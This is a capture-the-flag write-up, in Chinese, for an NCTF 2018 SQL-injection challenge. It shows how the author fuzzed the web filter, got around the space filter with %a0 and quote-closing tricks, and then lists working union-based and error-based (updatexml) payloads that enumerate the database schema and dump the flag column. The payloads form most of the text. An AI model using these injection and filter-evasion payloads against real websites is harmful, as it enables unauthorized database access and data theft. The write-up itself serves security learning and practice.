NSS [NCTF 2018]滴!晨跑打卡
很明显是sql注入
输入一个1
,语句直接显示了,非常的真诚和坦率
简单尝试了一下,发现有waf,过滤了空格
拿burp跑一下fuzz,看看有多少过滤
过滤了#
*
-
空格
那我们无法通过#或者–+来注释掉最后的单引号而闭合
空格->%a0 (试了一下只有这个能替代空格,其他的比如说%0b,%00都不行)
闭合不了了的话我们可以在最后加一个%a0and%a0%271%27=%271
或者%a0||%27
抵消掉最后的空格
法一:联合查询
payload(均在url输入,id=payload):
判断回显位:4
1%27%a0union%a0select%a01,2,3,4%a0and%a0%271%27=%271
爆库:information_schema、cgctf、mysql、performance_schema
1%27%a0and%a01=2%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),2,3%a0and%a0%271%27=%271
爆表(cgctf库):pcnumber
1%27%a0and%a01=2%a0union%a0select%a01,group_concat(table_name),3,4%a0from%a0information_schema.tables%a0where%a0table_schema=%27cgctf%27%a0and%a0%271%27=%271
爆列(pcnumber表):id、bigtime、smalltime、flag
1%27%a0and%a01=2%a0union%a0select%a01,column_name,3,4%a0from%a0information_schema.columns%a0where%a0table_name=%27pcnumber%27%a0||%27
爆字段值:
1%27%a0and%a01=2%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0cgctf.pcnumber),3,4%a0||%27
法二:报错注入
1%27%a0and%a0updatexml(1,substring(concat(0x7e,(select%a0group_concat(flag)%a0from%a0cgctf.pcnumber),0x7e),15,30),3)%a0||%27
非常奇怪的一点是,我联合注入回显位是4,但是报错注入回显位是3??????????